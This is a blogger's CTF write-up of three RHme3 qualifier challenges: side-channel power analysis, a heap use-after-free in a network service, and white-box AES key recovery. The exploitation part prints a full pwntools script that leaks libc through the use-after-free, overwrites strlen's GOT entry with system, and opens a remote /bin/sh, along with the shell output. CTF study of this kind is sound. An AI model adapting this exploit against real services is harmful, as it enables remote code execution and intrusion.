As it turns out, I’ve always avoided CTFs out of fear of just not being good enough to solve even the most basic problems, so when one of my friends talked me about the RHme3 CTF qualifications going on I thought, “yeah, not for me,” and just moved on. However, at 3AM the day after, when I thought while half asleep, “Oh wait, that makes easy content for my blog, jfc.”
And so here comes one of my first CTF writeups!
Tracing the Traces
Well let’s get started with, in my opinion, the easiest challenge of all!
We are greeted in this challenge by this nice screen which gives us access to
two useful files containing data, with the overview.png just giving us a view of the
voltage measurement.
It shouldn’t take us too much time to realize what this trial is about: Side
Channel Analysis.
So I fire up my ChipWhisperer Analyzer then try to import the traces,
and… booyah?
Well there’s a catch: those formats cannot be imported directly. The .trs files
are, as far as I know, made for Riscure (the company doing this CTF) tools, but I
didn’t quite look into them. What I looked into was the mat file and as anyone
would do, I looked at what it contained.
# Created by Octave 4.0.3, Fri Aug 04 14:04:39 2017 CEST <andres@kali-andres>
Oooh that’s nice, so we know which software was used to save that data. Let’s
give it a go!
In the meanwhile I tried looking at ChipWhispere documentation and stumbled upon
a CTF example which made use of a matlab
file format too! While it was for saving it was already useful to know THIS
existed.
I proceeded to try to load the file directly into the CW Analyzer but to no
luck, the format seemed to be incompatible:
ValueError: Unknown mat file type, version 51, 48
And then I waited for Octave to compile…
(What? I’m on Gentoo!)
Once it was done and I assured I could read the data fully, I proceeded to save the file using this
nice guide that would help me place said
data
into the new format needed.
And… h4x0r UI right ahead! (Note the white graph that cannot be themed in black D:)
So now we have the graph and everything feels fine, so let’s try cracking it! After running standard attacks on the trace for general algorithms, I figured it was leading me nowhere so I tried to see where I could’ve messed up, so I printed multiple traces.
It took me a while to figure out by myself WHY this was an issue in the first place, but after skimming through the CW wiki, I encountered this nice article and decided to give it a go.
And now time for the l33t h4x0r part of cracking the key!
If you wish to have an idea about how this step works internally, you should
read up on this article. It
explains the Correlation Power Analysis based attacks pretty nicely.
So let’s input the key…
CAFEBABEDEADBEEF000102030405064A
Incorrect flag
What?
This looked so fricking insanely non-random so wh-
Wait
CAFEBABEDEADBEEF0001020304050607
Done.
Exploitation
For this one, we have a binary, a server address, and the libc in use.
Old school.
The first thing to figure out was how to connect to the server, so I did a little
trace and…
[pid 23556] bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
Wow, that’s really some neat l33t m8.
Let us connect to the server now:
➜ riscure telnet pwn.rhme.riscure.com 1337
Trying 35.177.251.55...
Connected to 35.177.251.55.
Escape character is '^]'.
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:
First things first: do EVERYTHING YOU CAN.
Seriously. We need to find any weird behaviour before beginning to study the
binary, which’ll take us quite some time.
As that’s exactly what I did. I settled on something pretty nice; I added one
player, selected it and removed it.
Then this happened:
Your choice: 5
Name:
A/D/S/P: 32622032,0,0,0
Yes! A use-after-free! For those unfamiliar with the concept, we basically have a pointer in a portion of memory we shouldn’t have access to, allowing us to mess with the flow of the software.
So now that this is done, we should begin to reverse the program and try to run
it locally, right?
A little look before reversing tells us our main.elf just straight up exits,
so time for a bit more of and inside look with radare2!
[0x0040111f]> pdf
/ (fcn) sym.serve_forever 373
| sym.serve_forever ();
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_2ch @ rbp-0x2c
| ; var int local_28h @ rbp-0x28
| ; var int local_24h @ rbp-0x24
| ; var int local_20h @ rbp-0x20
| ; var int local_1eh @ rbp-0x1e
| ; var int local_1ch @ rbp-0x1c
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x004021bc (main)
| 0x0040111f 55 push rbp
| 0x00401120 4889e5 mov rbp, rsp
| 0x00401123 4883ec40 sub rsp, 0x40 ; '@'
| 0x00401127 897dcc mov dword [local_34h], edi
| 0x0040112a 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x44a8 ; '('
| 0x00401133 488945f8 mov qword [local_8h], rax
| 0x00401137 31c0 xor eax, eax
| 0x00401139 c745d4000000. mov dword [local_2ch], 0
| 0x00401140 c745d8000000. mov dword [local_28h], 0
| 0x00401147 c745d0010000. mov dword [local_30h], 1
| 0x0040114e be01000000 mov esi, 1 ; void * func
| 0x00401153 bf11000000 mov edi, 0x11 ; int sig
| 0x00401158 e823fcffff call sym.imp.signal ; void signal(int sig, void *func)
| 0x0040115d ba00000000 mov edx, 0
| 0x00401162 be01000000 mov esi, 1
| 0x00401167 bf02000000 mov edi, 2
| 0x0040116c e82ffdffff call sym.imp.socket
| 0x00401171 8945d4 mov dword [local_2ch], eax
| 0x00401174 837dd400 cmp dword [local_2ch], 0
| ,=< 0x00401178 790a jns 0x401184
| | 0x0040117a bf01000000 mov edi, 1 ; int status
| | 0x0040117f e8ecfcffff call sym.imp.exit ; void exit(int status)
| `-> 0x00401184 488d55d0 lea rdx, [local_30h]
| 0x00401188 8b45d4 mov eax, dword [local_2ch]
| 0x0040118b 41b804000000 mov r8d, 4
| 0x00401191 4889d1 mov rcx, rdx
| 0x00401194 ba02000000 mov edx, 2
| 0x00401199 be01000000 mov esi, 1
| 0x0040119e 89c7 mov edi, eax
| 0x004011a0 e8ebfaffff call sym.imp.setsockopt
| 0x004011a5 85c0 test eax, eax
| ,=< 0x004011a7 790a jns 0x4011b3
| | 0x004011a9 bf01000000 mov edi, 1 ; int status
| | 0x004011ae e8bdfcffff call sym.imp.exit ; void exit(int status)
| `-> 0x004011b3 488d45e0 lea rax, [local_20h]
After looking a bit at the control flow, we jump to the first exit conditions. The software tries to get a socket and otherwise exits, same for setting its options.
| 0x004011b7 ba10000000 mov edx, 0x10 ; size_t n
| 0x004011bc be30000000 mov esi, 0x30 ; '0' ; int c
| 0x004011c1 4889c7 mov rdi, rax ; void *s
| 0x004011c4 e857fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x004011c9 66c745e00200 mov word [local_20h], 2
| 0x004011cf bf00000000 mov edi, 0
| 0x004011d4 e837fbffff call sym.imp.htonl
| 0x004011d9 8945e4 mov dword [local_1ch], eax
| 0x004011dc 8b45cc mov eax, dword [local_34h]
| 0x004011df 0fb7c0 movzx eax, ax
| 0x004011e2 89c7 mov edi, eax
| 0x004011e4 e8f7faffff call sym.imp.htons
| 0x004011e9 668945e2 mov word [local_1eh], ax
| 0x004011ed 488d4de0 lea rcx, [local_20h]
| 0x004011f1 8b45d4 mov eax, dword [local_2ch]
| 0x004011f4 ba10000000 mov edx, 0x10
| 0x004011f9 4889ce mov rsi, rcx
| 0x004011fc 89c7 mov edi, eax
| 0x004011fe e8fdfbffff call sym.imp.bind
| 0x00401203 85c0 test eax, eax
| ,=< 0x00401205 790a jns 0x401211
| | 0x00401207 bf01000000 mov edi, 1 ; int status
| | 0x0040120c e85ffcffff call sym.imp.exit ; void exit(int status)
| `-> 0x00401211 8b45d4 mov eax, dword [local_2ch]
| 0x00401214 be14000000 mov esi, 0x14
| 0x00401219 89c7 mov edi, eax
| 0x0040121b e8b0fbffff call sym.imp.listen
| 0x00401220 85c0 test eax, eax
| ,=< 0x00401222 790a jns 0x40122e
| | 0x00401224 bf01000000 mov edi, 1 ; int status
| | 0x00401229 e842fcffff call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x0040128b (sym.serve_forever)
| .`-> 0x0040122e 8b45d4 mov eax, dword [local_2ch]
| | 0x00401231 ba00000000 mov edx, 0
| | 0x00401236 be00000000 mov esi, 0
| | 0x0040123b 89c7 mov edi, eax
| | 0x0040123d e8eefbffff call sym.imp.accept
| | 0x00401242 8945d8 mov dword [local_28h], eax
| | 0x00401245 e846fcffff call sym.imp.fork
| | 0x0040124a 8945dc mov dword [local_24h], eax
| | 0x0040124d 837ddc00 cmp dword [local_24h], 0
| |,=< 0x00401251 790a jns 0x40125d
| || 0x00401253 bf01000000 mov edi, 1 ; int status
| || 0x00401258 e813fcffff call sym.imp.exit ; void exit(int status)
| |`-> 0x0040125d 837ddc00 cmp dword [local_24h], 0
| |,=< 0x00401261 751e jne 0x401281
| || 0x00401263 8b45d4 mov eax, dword [local_2ch]
| || 0x00401266 89c7 mov edi, eax ; int fildes
| || 0x00401268 e8c3faffff call sym.imp.close ; int close(int fildes)
| || 0x0040126d 8b45d8 mov eax, dword [local_28h]
| || 0x00401270 488b4df8 mov rcx, qword [local_8h]
| || 0x00401274 6448330c2528. xor rcx, qword fs:[0x28]
| ,===< 0x0040127d 7413 je 0x401292
| ,====< 0x0040127f eb0c jmp 0x40128d
| |||`-> 0x00401281 8b45d8 mov eax, dword [local_28h]
| ||| 0x00401284 89c7 mov edi, eax ; int fildes
| ||| 0x00401286 e8a5faffff call sym.imp.close ; int close(int fildes)
| ||`==< 0x0040128b eba1 jmp 0x40122e
| || ; JMP XREF from 0x0040127f (sym.serve_forever)
| `----> 0x0040128d e82efaffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `---> 0x00401292 c9 leave
\ 0x00401293 c3 ret
We see here a bit more about trying to bind and listen to the port 1337, but not really anything useful in regards to why the software is actually exiting on my computer, so let’s follow it and check out some other stuff…
/ (fcn) sym.background_process 236
| sym.background_process ();
| ; CALL XREF from 0x004021b2 (main)
| 0x00401033 55 push rbp
| 0x00401034 4889e5 mov rbp, rsp
| 0x00401037 4881ec300100. sub rsp, 0x130
| 0x0040103e 4889bdd8feff. mov qword [rbp - 0x128], rdi
| 0x00401045 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x44a8 ; '('
| 0x0040104e 488945f8 mov qword [rbp - 8], rax
| 0x00401052 31c0 xor eax, eax
| 0x00401054 488b85d8feff. mov rax, qword [rbp - 0x128]
| 0x0040105b 4889c7 mov rdi, rax
| 0x0040105e e82dfdffff call sym.imp.getpwnam
| 0x00401063 488985e8feff. mov qword [rbp - 0x118], rax
| 0x0040106a 4883bde8feff. cmp qword [rbp - 0x118], 0
| ,=< 0x00401072 750a jne 0x40107e
| | 0x00401074 bf01000000 mov edi, 1 ; int status
| | 0x00401079 e8f2fdffff call sym.imp.exit ; void exit(int status)
| `-> 0x0040107e 488b95d8feff. mov rdx, qword [rbp - 0x128] ; ...
| 0x00401085 488d85f0feff. lea rax, [rbp - 0x110]
| 0x0040108c be44234000 mov esi, str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s" ; const char*
| 0x00401091 4889c7 mov rdi, rax ; char *s
| 0x00401094 b800000000 mov eax, 0
| 0x00401099 e8b2fdffff call sym.imp.sprintf ; int sprintf(char *s,
| 0x0040109e 488d85f0feff. lea rax, [rbp - 0x110]
| 0x004010a5 4889c7 mov rdi, rax
| 0x004010a8 e809ffffff call sym.daemonize
| 0x004010ad be00000000 mov esi, 0
| 0x004010b2 bf00000000 mov edi, 0
| 0x004010b7 e884fcffff call sym.imp.setgroups
| 0x004010bc 85c0 test eax, eax
| ,=< 0x004010be 790a jns 0x4010ca
| | 0x004010c0 bf01000000 mov edi, 1 ; int status
| | 0x004010c5 e8a6fdffff call sym.imp.exit ; void exit(int status)
| `-> 0x004010ca 488b85e8feff. mov rax, qword [rbp - 0x118]
| 0x004010d1 8b4014 mov eax, dword [rax + 0x14] ; [0x14:4]=1
| 0x004010d4 89c7 mov edi, eax
| 0x004010d6 e835fdffff call sym.imp.setgid
| 0x004010db 85c0 test eax, eax
| ,=< 0x004010dd 790a jns 0x4010e9
| | 0x004010df bf01000000 mov edi, 1 ; int status
| | 0x004010e4 e887fdffff call sym.imp.exit ; void exit(int status)
| `-> 0x004010e9 488b85e8feff. mov rax, qword [rbp - 0x118]
| 0x004010f0 8b4010 mov eax, dword [rax + 0x10] ; [0x10:4]=0x3e0002
| 0x004010f3 89c7 mov edi, eax
| 0x004010f5 e886fdffff call sym.imp.setuid
| 0x004010fa 85c0 test eax, eax
| ,=< 0x004010fc 790a jns 0x401108
| | 0x004010fe bf01000000 mov edi, 1 ; int status
| | 0x00401103 e868fdffff call sym.imp.exit ; void exit(int status)
| `-> 0x00401108 90 nop
| 0x00401109 488b45f8 mov rax, qword [rbp - 8]
| 0x0040110d 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401116 7405 je 0x40111d
| | 0x00401118 e8a3fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x0040111d c9 leave
\ 0x0040111e c3 ret
As we can see, there the software checks that a user “pwn” exists, append the user “pwn” to /opt/riscure/ string, tries to set correct uid, groups and so on, and if it can’t do all that, it exits.
So now that this is done, let’s create a pwn user, and launch the software with the root user so that it doesn’t complain about gid and uid permissions. And… it doesn’t run? We might have missed something there… hmmm… What does this daemonize function do already…?
/ (fcn) sym.daemonize 125
| sym.daemonize ();
| ; var int local_18h @ rbp-0x18
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x004010a8 (sym.background_process)
| 0x00400fb6 55 push rbp
| 0x00400fb7 4889e5 mov rbp, rsp
| 0x00400fba 4883ec20 sub rsp, 0x20
| 0x00400fbe 48897de8 mov qword [local_18h], rdi
| 0x00400fc2 e899feffff call sym.imp.getppid
| 0x00400fc7 83f801 cmp eax, 1
| ,=< 0x00400fca 7464 je 0x401030
| | 0x00400fcc e8bffeffff call sym.imp.fork
| | 0x00400fd1 8945f8 mov dword [local_8h], eax
| | 0x00400fd4 837df800 cmp dword [local_8h], 0
| ,==< 0x00400fd8 790a jns 0x400fe4
| || 0x00400fda bf01000000 mov edi, 1 ; int status
| || 0x00400fdf e88cfeffff call sym.imp.exit ; void exit(int status)
| `--> 0x00400fe4 837df800 cmp dword [local_8h], 0
| ,==< 0x00400fe8 7e0a jle 0x400ff4
| || 0x00400fea bf00000000 mov edi, 0 ; int status
| || 0x00400fef e87cfeffff call sym.imp.exit ; void exit(int status)
| `--> 0x00400ff4 e857fdffff call sym.imp.setsid
| | 0x00400ff9 8945fc mov dword [local_4h], eax
| | 0x00400ffc 837dfc00 cmp dword [local_4h], 0
| ,==< 0x00401000 790a jns 0x40100c
| || 0x00401002 bf01000000 mov edi, 1 ; int status
| || 0x00401007 e864feffff call sym.imp.exit ; void exit(int status)
| `--> 0x0040100c bf00000000 mov edi, 0 ; int m
| | 0x00401011 e88afdffff call sym.imp.umask ; int umask(int m)
| | 0x00401016 488b45e8 mov rax, qword [local_18h]
| | 0x0040101a 4889c7 mov rdi, rax
| | 0x0040101d e88efcffff call sym.imp.chdir
| | 0x00401022 85c0 test eax, eax
| ,==< 0x00401024 790b jns 0x401031
| || 0x00401026 bf01000000 mov edi, 1 ; int status
| || 0x0040102b e840feffff call sym.imp.exit ; void exit(int status)
| |`-> 0x00401030 90 nop
| `--> 0x00401031 c9 leave
\ 0x00401032 c3 ret
That’s what we missed.
The fricking /opt/riscure/pwn
.
So we now create the folder and… it runs! Great, now we can FINALLY begin to
pwn it.
Since we got a libc with our binary for exploit purposes, my first thought has
been a ret2libc attack. In a nutshell, this means you, using arguments already
provided, make one function of the software jump to libc and execute it instead
of the original one.
For the uninformed, libc has the function system
which allows you to run any
command, including /bin/sh
, effectively spawning a shell.
The first thing to know for this kind of attack is where to put the argument and
how to use it.
The first question is pretty straightforward: we have a name space, so let’s put
our process there!
The second part requires a bit of reversing:
| || 0x004018f4 bfbb244000 mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: " ; const char * format
| || 0x004018f9 b800000000 mov eax, 0
| || 0x004018fe e8fdf3ffff call sym.imp.printf ; int printf(const char *format)
| || 0x00401903 488b05561820. mov rax, qword obj.stdout ; [0x603160:8]=0x342e352075746e75 rdi ; "untu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609"
| || 0x0040190a 4889c7 mov rdi, rax ; FILE *stream
| || 0x0040190d e8aef4ffff call sym.imp.fflush ; int fflush(FILE *stream)
| || 0x00401912 488d85f0feff. lea rax, [local_110h]
| || 0x00401919 ba00010000 mov edx, 0x100 ; size_t nbyte
| || 0x0040191e be00000000 mov esi, 0 ; int c
| || 0x00401923 4889c7 mov rdi, rax ; void *s
| || 0x00401926 e8f5f3ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| || 0x0040192b 488d85f0feff. lea rax, [local_110h]
| || 0x00401932 be00010000 mov esi, 0x100 ; void *buf
| || 0x00401937 4889c7 mov rdi, rax ; int fildes
| || 0x0040193a e884fbffff call sym.readline ; ssize_t read(int fildes, void *buf, size_t nbyte)
| || 0x0040193f 488d85f0feff. lea rax, [local_110h]
| || 0x00401946 4889c7 mov rdi, rax ; const char * s
| || 0x00401949 e852f3ffff call sym.imp.strlen ; size_t strlen(const char *s)
We are there looking at what happens with the name when adding a player.
We can see here that two functions seems appropriate for the deal: readline
and
strlen
.
strlen
seems better for our work since there is only one argument and it is
the string stripped from unecessary bytes, so let’s go with that.
Now that we have an idea on how to exploit this software, let’s try to get an
idea of how to make the exploit work!
The first thing to note is that the system
does not make use of system
, so we have
to find another place than the GOT to jump to, i.e. libc directly.
We then need to leak the real address of strlen from libc in order to calculate
libc’s base address and then system’s address.
Then we need to execute system
at the place of strlen
.
Let’s dump the memory now to see how we can set up the heap:
0x006825e0 6865 6c6c 6f0d 0000 380b 1915 3000 0000 hello...8...0...
0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!.......
0x00682600 0300 0000 0300 0000 0300 0000 0300 0000 ................
0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!.......
0x00682620 676f 6f64 6279 650d 000b 1915 3000 0000 goodbye.....0...
0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................
0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...
As we can see, we have around 64 bytes between one player and another, with names padded.
To ensure where we write, here is the memory after we selected “goodbye”, removed both players, and added a new one, named PWNME:
0x006825e0 5057 4e4d 450d 0000 380b 1915 3000 0000 PWNME...8...0...
0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!.......
0x00682600 1026 6800 0000 0000 0300 0000 0300 0000 .&h.............
0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!.......
0x00682620 0000 0000 0000 0000 000b 1915 3000 0000 ............0...
0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................
0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...
And then the memory after we edited our old selected goodbye:
0x006825e0 5057 4e4d 450d 0000 380b 1915 3000 0000 PWNME...8...0...
0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!.......
0x00682600 1026 6800 0000 0000 0300 0000 0300 0000 .&h.............
0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!.......
0x00682620 5520 5220 5057 4e45 440d 0015 3000 0000 U R PWNED...0...
0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................
0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...
Now that we know this, the idea is to leak the address of strlen
through this
UAF and overwrite the GOT entry by system’s address thanks to the leak.
“So how would you leak the address first,” you might think? It’s actually fairly trivial: we need to figure out what reads what, so let us show the freed user when no user is there.
Your choice: 5
Name:
A/D/S/P: 6825488,0,1,1
6825488 in hex is 68 26 10, present just before the string “goodbye” in our memory views. So we need to pad 16bytes before the string, and then we’ll add a pointer to the GOT, hoping it’ll give us the real address!
So let us use pwntools to retrieve those GOT offsets easily and…
[DEBUG] Received 0xe bytes:
00000000 09 4e 61 6d 65 3a 20 20 c7 cd a9 36 7f 0a │·Nam│e: │···6│··│
0000000e
IT WORKED!! We can now retrieve the beautiful address of our system call and overwrite it. How, you may ask? Well we can print the content of the GOT pointer of strlen thanks to our name, so can’t we modify its contents too…?
That’s right: edit the name of our pwnd pointer and we’re done. We just have to launch strlen one way or another, i.e. by adding a new user.
Let’s write a script to actually do that for us:
from pwn import *
libc = ELF('libc.so.6')
rhme = ELF('main.elf')
context.os = 'linux'
context.bits = 64
context.arch = 'amd64'
context.endian = 'little'
conn = remote('pwn.rhme.riscure.com', 1337)
#Wait for the menu to come in
conn.recvuntil('Your choice: ')
#Add our first user
conn.sendline('1')
conn.recvuntil('Enter player name: ')
conn.sendline('A'*64)
for i in range(4):
conn.recvuntil(': ')
conn.sendline('1')
conn.recvuntil('Your choice: ')
#We add our second user
conn.sendline('1')
conn.recvuntil('Enter player name: ')
conn.sendline('pwnd')
for i in range(4):
conn.recvuntil(': ')
conn.sendline('1')
conn.recvuntil('Your choice: ')
#Select pwnd
conn.sendline('3')
conn.recvuntil('Enter index: ')
conn.sendline('1')
conn.recvuntil('Your choice: ')
#Remove pwnd and random name
conn.sendline('2')
conn.recvuntil('Enter index: ')
conn.sendline('1')
conn.recvuntil('Your choice: ')
conn.sendline('2')
conn.recvuntil('Enter index: ')
conn.sendline('0')
conn.recvuntil('Your choice: ')
conn.sendline('1')
conn.recvuntil('Enter player name: ')
#Make the user name print the value pointed by the got address to leak
conn.sendline('A'*16 + p64(rhme.got['strlen'])[:-1])
for i in range(4):
conn.recvuntil(': ')
conn.sendline('1')
conn.recvuntil('Your choice: ')
#Getting the leaked strlen real address
conn.sendline('5')
conn.recvuntil('Name: ')
strlen = u64(conn.recvline().rstrip().ljust(8, '\x00'))
conn.recvuntil('Your choice: ')
#Getting the base address of libc
libcreal = strlen - libc.symbols['strlen']
#Let's now edit pwnd name, which will overwrite strlen GOT
conn.sendline('4')
conn.recvuntil('Your choice: ')
conn.sendline('1')
conn.recvuntil('name: ')
conn.sendline(p64(libcreal + libc.symbols['system'])[:-1])
conn.recvuntil('Your choice: ')
conn.sendline('0')
conn.recvuntil('Your choice: ')
#DONE, Now just trigger strlen with our software to run, in this case /bin/sh to
#get a remote shell
conn.sendline('1')
conn.recvuntil('Enter player name: ')
conn.sendline('/bin/sh\x00')
#The shell's in hell
conn.interactive()
Let us now run the script and…
[*] Switching to interactive mode
$
YES!
$ ls
flag
main.elf
$ cat flag
RHME3{h3ap_0f_tr0uble?}
RHME3{h3ap_0f_tr0uble?}
Heap, creator of troubles since approximately 1950.
White Box Unboxing
And here comes the final part and, for me, the hardest. The required work itself wasn’t hard. In fact, I think exploitation won the round this time, but the difficulty was in simply knowing how to attack and, for once, I can fully say that if you didn’t know about it, you didn’t read enough phrack.
So what is this challenge about?
Getting an AES key from a piece of software and computing said AES algorithm.
It should just be a matter of extracting a key, maybe encrypted, from the software
then, right? Sound easy enough?
Hell no, it isn’t.
If you don’t know why, I highly encourage you to read the phrack article,
but otherwise spoiler alert:
There is no key to extract.
“How can we crack it then?”
After a few hours of dynamic reverse engineering, I finally decided to
look up on whitebox cryptography and… I was not disappointed.
YOU HAD A WHOLE FRICKING SUITE OF TOOLS TO DO THE JOB FOR YOU!
Either way, after waiting some long hours for GCC 4.9 to compile (thanks to Intel’s PIN suite which didn’t work), compiling a custom valgrind, and many hours of ranting, I finally got my first traces of the software!
Oh yeah, I forgot to tell you how the attack works: basically you trace the execution of the program, then analyze a region that seems nice once visualized, and automate more traces while taking more inputs and outputting some attacks on those traces. As I’m not an expert on how this is done exactly and that I’ve had very little time to do this CTF, I’ll let you search for yourself. I like to try and be as pragmatic as possible, so I won’t (willingly) go and say something that could be ridiculously wrong!
Either way, let’s look at our traces from TracerGrind and sqlitetrace:
After loads of trial and error (and IRC), I finally managed to find the
correct AES pattern in those traces to try to analyze.
As a matter of fact, at first I just skipped the address altogether during the
challenge. I added it for the CTF as I thougt that a 10x speedup or so wasn’t a
bad thing. :p
This seems nice, so let’s take those addresses as a reference: 0x463482-0x463fff
So now that we know where to look, what should we do?
Get moar traces, my friend!
I inspired myself with this script. To make my own script for this whitebox tracer collector:
import sys
sys.path.insert(0, '../../')
from deadpool_dca import *
def processinput(iblock, blocksize):
#Send the input as raw bytes
return (None, [''.join(chr((iblock>>8*(16-byte-1))&0xFF) for byte in range(16))])
def processoutput(output, blocksize):
# Get output from plaintext hex
return int(''.join(output.split()), 16)
T=TracerGrind('/home/govanify/Documents/PROJECTS/PROGRAMMING/HACKING/PENTESTING/Deadpool/wbs_aes_ches2016/DCA/whitebox',
processinput, processoutput, ARCH.amd64, 16, addr_range='0x463482-0x463fff')
T.run(50)
bin2daredevil(configs={'attack_sbox': {'algorithm':'AES','position':'LUT/AES_AFTER_SBOX'}})
Seems good! Let’s now collect traces shall we?
Wait… something is off…
If we wish to actually send arguments, the bytes to encode them have to
be strings. To make execve not yell at you, the arguments are
non-string, so let us also patch deadpool_dca to limit the entropy:
299c299,303
< iblock=random.randint(0, (1<<(8*self.blocksize))-1)
---
> iblock=0
> for y in range(0,16):
> #ASCII printable-by-terminal characters only
> #begin at 0x21 because 0x20 is space, might mess up
> iblock += random.randint(0x21, 0x7E) << (8 * y)
508a513
>
And there we go, time to now launch our attack!
➜ DCA git:(master) ✗ python whitebox.py
00000 3F2C472944502B74664B496C51422332 -> 24E56795E5D616D92730B891091E042D
00001 5F317B7E59282D2778756E5C7A48227A -> 4DACE0B89B299EE3CA4668CF210C05C9
...snip...
➜ DCA git:(master) ✗ ./daredevil -c mem_addr1_rw1_50_7040.attack_sbox.config
Most probable key sum(abs):
1: 124.213: 61316c5f7434623133355f525f6f5235
2: 121.554: 61316c5f743462313335d3525f6f5235
3: 121.541: 61316c5f743462313335a1525f6f5235
4: 121.507: 61316c5f3c34623133355f525f6f5235
5: 121.413: 61316c5f7434623133358c525f6f5235
6: 121.409: 61316c5f74346231333587525f6f5235
7: 121.392: 61314c5f7434623133355f525f6f5235
8: 118.848: 61316c5f3c3462313335d3525f6f5235
9: 118.835: 61316c5f3c3462313335a1525f6f5235
10: 118.732: 61314c5f743462313335d3525f6f5235
Most probable key max(abs):
1: 16: 61316c5f7434623133355f525f6f5235
2: 15.8: 61316c5b7434623133355f525f6f5235
3: 15.7863: 61316c5f3c34623133355f525f6f5235
4: 15.7628: 61316c5f7434623133355f52566f5235
5: 15.7613: 6131885f7434623133355f525f6f5235
6: 15.5863: 61316c5b3c34623133355f525f6f5235
7: 15.5628: 61316c5b7434623133355f52566f5235
8: 15.5613: 6131885b7434623133355f525f6f5235
9: 15.5491: 61316c5f3c34623133355f52566f5235
10: 15.5476: 6131885f3c34623133355f525f6f5235
[INFO] Total attack of file LUT/AES_AFTER_SBOX done in 28.344149 seconds.
Well this seems nice! Finally solved! Let’s -
61316c5f7434623133355f525f6f5235
Incorrect flag
While the issue might sound pretty stupid, it actually took me several hours to figure this out until I fired up radare2 and inserted one of those keys.
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF comment
0x00000000 6131 6c5f 7434 6231 3335 5f52 5f6f 5235 a1l_t4b135_R_oR5
a1l_t4b135_R_oR5
Now this was a frustrating challenge.
Another thing I’d like to add before closing this post is that whitebox was really frustrating, as you never knew if you did anything wrong and whatnot. It was a lot of trial and error due to inexperience in the field and, while it made me learn quite a bit, it also means it took quite some time to figure everything out. :p